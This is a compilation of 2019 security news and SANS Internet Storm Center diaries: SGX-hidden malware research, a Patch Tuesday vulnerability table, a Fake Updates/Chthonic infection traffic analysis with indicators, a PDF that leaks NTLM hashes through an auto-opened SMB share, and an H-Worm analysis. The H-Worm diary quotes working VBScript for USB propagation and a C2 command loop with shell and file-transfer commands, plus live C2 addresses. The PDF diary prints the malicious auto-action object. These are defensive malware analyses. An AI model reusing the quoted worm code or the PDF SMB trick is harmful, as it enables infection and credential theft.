Information Security News

Researchers have found a way to run malicious code on systems with Intel processors in such a way that the malware can't be analyzed or identified by antivirus software, using the processor's own features to protect the bad code. As well as making malware in general harder to examine, bad actors could use this protection to, for example, write ransomware applications that never disclose their encryption keys in readable memory, making it substantially harder to recover from attacks.

The research, performed at Graz University of Technology by Michael Schwarz, Samuel Weiser, and Daniel Gruss (one of the researchers behind last year's Spectre attack), uses a feature that Intel introduced with its Skylake processors called SGX ("Software Guard eXtensions"). SGX enables programs to carve out enclaves where both the code and the data the code works with are protected to ensure their confidentiality (nothing else on the system can spy on them) and integrity (any tampering with the code or data can be detected). The contents of an enclave are transparently encrypted every time they're written to RAM and decrypted upon being read. The processor governs access to the enclave memory: any attempt to access the enclave's memory from code outside the enclave is blocked; the decryption and encryption only occurs for the code within the enclave.

SGX has been promoted as a solution to a range of security concerns when a developer wants to protect code, data, or both, from prying eyes. For example, an SGX enclave running on a cloud platform could be used to run custom proprietary algorithms, such that even the cloud provider cannot determine what the algorithms are doing. On a client computer, the SGX enclave could be used in a similar way to enforce DRM (digital rights management) restrictions; the decryption process and decryption keys that the DRM used could be held within the enclave, making them unreadable to the rest of the system. There are biometric products on the market that use SGX enclaves for processing the biometric data and securely storing it such that it can't be tampered with.

Read 15 remaining paragraphs | Comments

Apache JSPWiki CVE-2018-20242 Cross Site Scripting Vulnerability

Mozilla Firefox and Firefox ESR CVE-2019-5785 Integer Overflow Vulnerability

This month, we got patches for 74 vulnerabilities in total. One of them has been exploited and two vulnerabilities have been made public before today.

The known exploited vulnerability (CVE-2019-0676) may lead to information disclosure and affects Internet Explorer 10 on Windows Server 2012 and Internet Explorer 11 on Windows 7, 8.1 and 10 and Windows Server 2008, 2012, 2016 and 2019.

From two previously known vulnerabilities, one (CVE-2019-0636) may also lead to information disclosure and the other, CVE-2019-0686, is a privilege escalation vulnerability on Microsoft Exchange 2010, 2013, 2016 and 2019. This vulnerability was well detailed by Bojan in this diary.

Past month, critical vulnerabilities affected Microsoft DHCP Client. This time, a critical vulnerability was fixed on DHCP Server (2019-0626). If successfully exploited, it may allow an attacker to run arbitrary code on the DHCP server. The CVSS V3 for this vulnerability is 9.8 (out of 10).

Take a look at mine dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Framework and Visual Studio Remote Code Execution Vulnerability
%%cve:2019-0613%%	No	No	Less Likely	Less Likely	Important
.NET Framework and Visual Studio Spoofing Vulnerability
%%cve:2019-0657%%	No	No	Less Likely	Less Likely	Important
Azure IoT Java SDK Elevation of Privilege Vulnerability
%%cve:2019-0729%%	No	No	-	-	Important
Azure IoT Java SDK Information Disclosure Vulnerability
%%cve:2019-0741%%	No	No	-	-	Important
February 2019 Adobe Flash Security Update
ADV190003	No	No	-	-	Critical
February 2019 Oracle Outside In Library Security Update
ADV190004	No	No	-	-
GDI+ Remote Code Execution Vulnerability
%%cve:2019-0662%%	No	No	Less Likely	Less Likely	Critical	8.8	7.9
%%cve:2019-0618%%	No	No	Less Likely	Less Likely	Critical	8.8	7.9
Guidance for "PrivExchange" Elevation of Privilege Vulnerability
ADV190007	Yes	No	More Likely	More Likely
Guidance to mitigate unconstrained delegation vulnerabilities
ADV190006	No	No	-	-
HID Information Disclosure Vulnerability
%%cve:2019-0600%%	No	No	Less Likely	Less Likely	Important	4.7	4.2
%%cve:2019-0601%%	No	No	Less Likely	Less Likely	Important	4.7	4.2
Internet Explorer Information Disclosure Vulnerability
%%cve:2019-0676%%	No	Yes	More Likely	Detected	Important	2.4	2.2
Internet Explorer Memory Corruption Vulnerability
%%cve:2019-0606%%	No	No	-	-	Critical	6.4	5.8
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2019-0625%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0595%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0596%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0597%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0598%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2019-0599%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Latest Servicing Stack Updates
ADV990001	No	No	-	-	Critical
Microsoft Browser Spoofing Vulnerability
%%cve:2019-0654%%	No	No	More Likely	More Likely	Important	2.4	2.2
Microsoft Edge Information Disclosure Vulnerability
%%cve:2019-0643%%	No	No	-	-	Moderate	4.3	3.9
Microsoft Edge Memory Corruption Vulnerability
%%cve:2019-0645%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0650%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0634%%	No	No	-	-	Critical	4.2	3.8
Microsoft Edge Security Feature Bypass Vulnerability
%%cve:2019-0641%%	No	No	-	-	Moderate	4.3	3.9
Microsoft Excel Information Disclosure Vulnerability
%%cve:2019-0669%%	No	No	More Likely	More Likely	Important
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2019-0686%%	Yes	No	More Likely	More Likely	Important
%%cve:2019-0724%%	No	No	-	-	Important
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability
%%cve:2019-0671%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0672%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0673%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0674%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0675%%	No	No	-	-	Important
Microsoft Office Security Feature Bypass Vulnerability
%%cve:2019-0540%%	No	No	More Likely	More Likely	Important
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2019-0668%%	No	No	-	-	Important
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2019-0594%%	No	No	Less Likely	Less Likely	Critical
%%cve:2019-0604%%	No	No	Less Likely	Less Likely	Critical
Microsoft SharePoint Spoofing Vulnerability
%%cve:2019-0670%%	No	No	-	-	Moderate
Scripting Engine Elevation of Privileged Vulnerability
%%cve:2019-0649%%	No	No	-	-	Important	4.2	3.8
Scripting Engine Information Disclosure Vulnerability
%%cve:2019-0648%%	No	No	-	-	Important	4.3	3.9
%%cve:2019-0658%%	No	No	-	-	Important	4.3	3.9
Scripting Engine Memory Corruption Vulnerability
%%cve:2019-0607%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0610%%	No	No	-	-	Important	4.2	3.8
%%cve:2019-0640%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0642%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0644%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0651%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0652%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0655%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0590%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0591%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0593%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0605%%	No	No	-	-	Critical	4.2	3.8
Team Foundation Server Cross-site Scripting Vulnerability
%%cve:2019-0743%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0742%%	No	No	Less Likely	Less Likely	Important
Visual Studio Code Remote Code Execution Vulnerability
%%cve:2019-0728%%	No	No	Less Likely	Less Likely	Important
Win32k Elevation of Privilege Vulnerability
%%cve:2019-0623%%	No	No	-	-	Important	7.0	6.3
Win32k Information Disclosure Vulnerability
%%cve:2019-0628%%	No	No	More Likely	More Likely	Important	4.7	4.2
Windows DHCP Server Remote Code Execution Vulnerability
%%cve:2019-0626%%	No	No	Less Likely	Less Likely	Critical	9.8	8.8
Windows Defender Firewall Security Feature Bypass Vulnerability
%%cve:2019-0637%%	No	No	Less Likely	Less Likely	Important	5.3	4.8
Windows GDI Information Disclosure Vulnerability
%%cve:2019-0660%%	No	No	Less Likely	Less Likely	Important	4.7	4.2
%%cve:2019-0664%%	No	No	-	-	Important	4.7	4.2
%%cve:2019-0602%%	No	No	Less Likely	Less Likely	Important	4.7	4.2
%%cve:2019-0615%%	No	No	Less Likely	Less Likely	Important	4.7	4.2
%%cve:2019-0616%%	No	No	Less Likely	Less Likely	Important	4.7	4.2
%%cve:2019-0619%%	No	No	Less Likely	Less Likely	Important	4.7	4.2
Windows Hyper-V Information Disclosure Vulnerability
%%cve:2019-0635%%	No	No	Less Likely	Less Likely	Important	5.4	4.9
Windows Information Disclosure Vulnerability
%%cve:2019-0636%%	Yes	No	More Likely	More Likely	Important	5.5	5.1
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2019-0656%%	No	No	-	-	Important	4.7	4.2
Windows Kernel Information Disclosure Vulnerability
%%cve:2019-0661%%	No	No	-	-	Important	4.7	4.2
%%cve:2019-0621%%	No	No	More Likely	More Likely	Important	5.5	5.0
Windows SMB Remote Code Execution Vulnerability
%%cve:2019-0630%%	No	No	More Likely	More Likely	Important	7.5	6.7
%%cve:2019-0633%%	No	No	More Likely	More Likely	Important	7.5	6.7
Windows Security Feature Bypass Vulnerability
%%cve:2019-0627%%	No	No	More Likely	More Likely	Important	5.3	4.8
%%cve:2019-0631%%	No	No	More Likely	More Likely	Important	5.3	4.8
%%cve:2019-0632%%	No	No	More Likely	More Likely	Important	5.3	4.8
Windows Storage Service Elevation of Privilege Vulnerability
%%cve:2019-0659%%	No	No	Less Likely	Less Likely	Important	7.0	6.3

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Introduction

Last week on 2019-02-06, @baberpervez2 tweeted about a compromised website used by the Fake Updates campaign (link to tweet). The Fake Updates campaign uses compromised websites that generate traffic to a fake update page. The type of fake update page depends on your web browser. Victims would see a fake Flash update page when using Internet Explorer, a fake Chrome update page when using Google Chrome, or a fake Firefox update page when using Firefox. Victims download JavaScript (.js) files from these pages disguised as browser updates. The downloaded .js files will instead install malware on a vulnerable Windows host.

Patterns for infection traffic are relatively unchanged since this campaign was first reported on the Malwarebytes blog in April 2018.

I generated an infection from the Fake Updates campaign on Friday 2019-02-09 and again on Monday 2019-02-11. Both times, the final payload was a Chthonic banking Trojan. Today's diary reviews the infection I generated on Monday 2019-02-11.

Shown above: Flow chart for infection traffic from Monday 2019-02-11.

Screenshots

The following ar screenshots on Fake Updates campaign traffic I generated from the inital compromised website at thetechhaus[.]com.

Shown above: Fake Chrome update page seen when thetechhaus[.]com was viewed in the Chrome web browser.

Shown above: You can ignore warnings, download, and run the malicious .js file on a vulnerable Windows host.

Shown above: The .js file shows highly-obfuscated script, which has always been the case for files from this campaign.

Shown above: Start of the infection chain traffic filtered in Wireshark.

Shown above: Redirect traffic to track.positiverefreshment[.]org that pointed to fake Chrome update page.

Shown above: Traffic for fake Chrome update page on 3aak.gotguardsecurity[.]com.

Shown above: HTTPS traffic to dl.dropboxusercontent.com that returned a malicious .js file.

Shown above: Traffic after running the .js file disguised as a Chrome update.

Shown above: Final payload (Chthonic banking Trojan) persistent on the infected Windows host.

Indicators of Compromise (IoCs)

The following are indicators associated with the infection on Monday 2019-02-11.

Initial compromised site:

thetechhaus[.]com

Redirect that led to fake Chrome update page:

81.4.122[.]193 port 80 - track.positiverefreshment[.]org - GET /s_code.js?[3 requests with different strings of characters]

Traffic for fake Chrome update page:

93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /topic/news.php?h=220&v=620228&z=de11cb81e3af84d1eb577864be7d7f2d
93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/css.css
93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/chrome.min.css
93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/chrome_logo_2x.png
93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/chrome-new.jpg
93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/k3k702ZOKiLJc3WVjuplzOgdm0LZdjqr5-oayXSOefg.woff2
93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/cJZKeOuBrn4kERxqtaUH3VtXRa8TVwTICgirnJhmVJw.woff2
93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/DXI1ORHCpsQm3Vp6mXoaTegdm0LZdjqr5-oayXSOefg.woff2
93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/MTP_ySUJH_bn48VBG8sNSugdm0LZdjqr5-oayXSOefg.woff2
93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /chromefiles/chrome-32.png
93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /topic/news.php?h=220&v=620228&z=de11cb81e3af84d1eb577864be7d7f2d&st=1
93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /topic/news.php?h=220&v=620228&z=de11cb81e3af84d1eb577864be7d7f2d&st=2
93.95.100[.]178 port 80 - 3aak.gotguardsecurity[.]com - GET /topic/news.php?h=220&v=620228&z=de11cb81e3af84d1eb577864be7d7f2d&st=3

Note: each time I saw a fake update page, the IP address was the same, but the domain was always different.

Download of .js file disguised as Chrome update:

port 443 - dl.dropboxusercontent.com - HTTPS traffic

Traffic generated by .js file:

188.165.62[.]40 port 80 - 6145fab0.static.spillpalletonline[.]com - POST /pixel.gif
188.165.62[.]40 port 80 - 6145fab0.static.spillpalletonline[.]com - POST /pixel.gif?ss&ss1img

Note: The above domains were also different for each infection.

Post-infection traffic caused by Chthonic banking Trojan:

[infected lab host restarted twice]
various IP addresses over TCP port 53 - DNS queries for afroamericanec[.]bit
185.229.224[.]120 port 80 - afroamericanec[.]bit - POST /en/
185.229.224[.]120 port 80 - afroamericanec[.]bit - POST /en/www/

Associated malware:

SHA256 hash: 9daa0dec909874316afe7f402e82d408b96b215a3501579849c792ec91cfe750

File size: 41,696 bytes
File name: Chrome_77.35.js
File description: malicious .js file returned from dl.dropboxusercontent.com

SHA256 hash: 4a17789f8a03fb2ec3185322ab879d436470d931e1fb98d0a4b9e5b68cda95ab

File size: 406,792 bytes
File location: C:\Users\[username]\AppData\Local\Temp\Chrome_77.35.exe
File description: Second executable dropped to the infected Windows host (Chthonic)

SHA256 hash: 7356424e04f730c7440f76cd822ff8645693b9835ae6aec4d6840cb1becae45c

File size: 406,792 bytes
File location: C:\Users\[username]\AppData\Roaming\YCommonFiles\YCommonFiles.com (random names for directory and file name pair)
File description: Chthonic executable persistent on the infected Windows host.

Final words

Monday's infection was unusual, because everything except for the dropbox URL was regular HTTP traffic. I more often find HTTPS traffic from the compromised site, redirect traffic, and fake update page. Usually the only HTTP traffic is generated by the downloaded .js file and final malware payload.

Pcap and malware samples for today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Yesterday I stumbled upon a PDF file that was flagged as suspicious by a customer's anti-malware solution and placed in the quarantine. Later, the recipient contacted the team in charge of emails to access his document because he knew the sender and pretended that the file was legit.

The file looked indeed safe and the content was properly related to the customer's business. I did a quick analysis of the file in my sanbox and, once the file opened, Acrobat Reader attempted to connect to a remote SMB share. I extracted objects from the PDF file and there was indeed a reference to a SMB share. When you ask a computer to connect to such a service, you immediately think about NTLM hashes leak.

Here is the object extracted from the PDF:

obj 10 0
 Type: /Page
 Referencing: 9 0 R, 6 0 R, 11 0 R, 12 0 R, 13 0 R, 7 0 R, 2 0 R, 14 0 R, 1 0 R, 15 0 R, 16 0 R, 17 0 R, 18 0 R, 3 0 R, 19 0 R, 20 0 R

  <<
    /AA
      <<
        /O
          <<
            /F '(\\\\\\\\virtualofficestorage[.]com\\\\docs_share)'
            /D [ 0 /Fit]
            /S /GoToE
          >>
      >>
    /Parent 9 0 R
    /Contents [6 0 R 11 0 R 12 0 R 13 0 R 7 0 R]
    /Type /Page
    /Resources
      <<
        /ExtGState
          <<
            /Xi1 2 0 R
          >>
        /XObject
          <<
            /BG0 14 0 R
            /Xi0 1 0 R
            /CL 15 0 R
          >>
        /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
        /Font
          <<
            /F_2 16 0 R
            /F_0 17 0 R
            /F_1 18 0 R
            /Xi2 3 0 R
          >>
      >>
    /MediaBox [0 -0.02000 598.80 844.08]
    /Annots [19 0 R 20 0 R]
  >>

The domain virtualofficestorage[.]com[1] resolves to %%ip:185.225.17.98%%, located in Romania. Shodan reports indeed a SMB share:

Helas, it does not reply anymore (last seen on 2019-02-03). There is a website running on this domain, it serves the default Ubuntu Apache welcome page.

I can't share the file not the hash but did you notice the same behavious with other PDF documents? Do you know more about this domain? (VT has only one reference to the same kind of document[2])
Please share!

[1] https://www.virustotal.com/#/domain/virtualofficestorage.com
[2] https://www.virustotal.com/#/file/746794ca49f497b43eb53a2fb25c4a0b3782002a45f498c047fa07d46cd43592/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Another piece of malicious code spotted on GitHub this time. By the way, this is the perfect example to demonstrate that protecting users via a proxy with web-categorization is useless… Event sites from the Alexa Top-1M may deliver malicious content (Github current position is 51[1]). The URL has been found in a classic email phishing attempt. The content was recently uploaded (<24h) when I found it:

hxxps://raw.githubusercontent[.]com/sidilig/sharing/ebk-ci/Ebanking.zip

Let’s have a look at the archive content:

ISC $ shasum -a 256 Ebanking.zip
abb244010410ce6012bac9e4fc902432cfebe06724d014c63d9ef21f0a6b8b78  Ebanking.zip
ISC $ unzip -t Ebanking.zip
Archive:  Ebanking.zip
    testing: Mesures de sécurité.jar   OK
    testing: Habilitations Ebank.vbs   OK
No errors detected in compressed data of Ebanking.zip.
ISC $ shasum -a 256 *
d4ffa2acdec66f15c2252f36311c059ab00cc942b7cb54c33b4257dbc680ed9b  Habilitations Ebank.vbs
7ab54cb93a4a76dd5578f0b0ddcaeb8420311ebb39f27b62e535a43aec02523a  Mesures de sécurité.jar

Let’s have a look at the VBScript code. It’s based on a big class:

Class Values
   ...
End Class
Set myClass = new Values
myClass.Start()

Most part of the code is obfuscated using a simple technique: A chunk of Base64 data is decoded by replacing a set of characters with the letter ‘A’:

Private Function peter_paul(sand, way_off)
  Dim stapler, hp_pc, pillow, ruben
  stapler = "[email protected]"
  hp_pc = "A"
  pillow = "Q29uc3QgVHlw....."
  ruben = Replace(pillow, stapler, hp_pc)
  peter_paul = b642byt_arr(1, ruben, 10)
End Function

Easy to decode with Cyberchef:

The decoded data is a new script. The next step is to execute it::

Public Sub Start()
  Set yhm_pepe = CreateObject("ADODB.Stream")
  Set spike = CreateObject("Microsoft.XMLDOM")
  If john_conor(1, peter_paul(0, False)) = ojor Then
    ExecuteGlobal ojor
  End If
End Sub

The code is simply written to the ADODB.Stream then executed. Here is what the second stage does. It copies itself for persistence in %TEMP%\tGcuACWROu.vbs then install . An interesting behaviour: it scans for available removable drives (drive.type == 1)[2] and infect them:

for each drive in filesystemobj.drives
  if  drive.isready = true then
    if  drive.freespace  > 0 then
      if  drive.drivetype  = 1 then
        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
          filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
        end if
        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
          if not lnkfile then exit for
            if  instr (file.name,".") then
              if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                file.attributes = 2+4
                if  ucase (file.name) <> ucase (installname) then
                  filename = split(file.name,".")
                  set lnkobj = shellobj.createshortcut (drive.path & "\"&filename (0)&".lnk")
                  lnkobj.windowstyle = 7
                  lnkobj.targetpath = "cmd.exe"
                  lnkobj.workingdirectory = ""
                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ",     chrw(34) & " " & chrw(34)) &"&exit"
                   filleicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." &     split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
                   if  instr (fileicon,",") = 0 then
                     lnkobj.iconlocation = file.path
                   else
                     lnkobj.iconlocation = fileicon
                   end if
                   lnkobj.save()
                 end if
               end if
             end if
           next

When the installation is successful, it starts to communicate with the C2 server: hxxp://ghanaandco.sytes[.]net:3007.

POST /is-ready HTTP/1.1
Accept: */*
Accept-Language: fr-be
User-Agent: 647B5904<|>PLAYBOX1<|>Xavier<|>Microsoft Windows XP Professional<|>plus<|>nan-av<|>false - 15/02/2019
Accept-Encoding: gzip, deflate
Host: ghanaandco.sytes.net:3007
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache

Here is a reply from the C2 server:

HTTP/1.1 200 OK
Connection: close
Content-Type: text/html
Content-Length: 12
Server: Indy/9.0.18

sleep<|>5000

Here is the main loop waiting for commands:

while true
  install
  response = ""
  response = post ("is-ready","")
  cmd = split (response,spliter)
  select case cmd (0)
    case "excecute"
      param = cmd (1)
      execute param
    case "update"
      param = cmd (1)
      oneonce.close
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close
      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
      wscript.quit
    case "uninstall"
      uninstall
    case "send"
      download cmd (1),cmd (2)
    case "site-send"
      sitedownloader cmd (1),cmd (2)
    case "recv"
      param = cmd (1)
      upload (param)
    case  "enum-driver"
       post "is-enum-driver",enumdriver
     case  "enum-faf"
       param = cmd (1)
       post "is-enum-faf",enumfaf (param)
     case  "enum-process"
       post "is-enum-process",enumprocess
     case  "cmd-shell"
       param = cmd (1)
       post "is-cmd-shell",cmdshell (param)
     case  "delete"
        param = cmd (1)
        deletefaf (param)
      case  "exit-process"
        param = cmd (1)
        exitprocess (param)
      case  "sleep"
        param = cmd (1)
        sleep = eval (param)
    end select
  wscript.sleep sleep
wend

If the delivery method changed, the malicious code is not new. This is a good old H-Worm as already found in 2013[3]. Old stuff but still used in the wild!

[1] https://www.alexa.com/siteinfo/github.com
[2] https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/drivetype-property
[3] https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.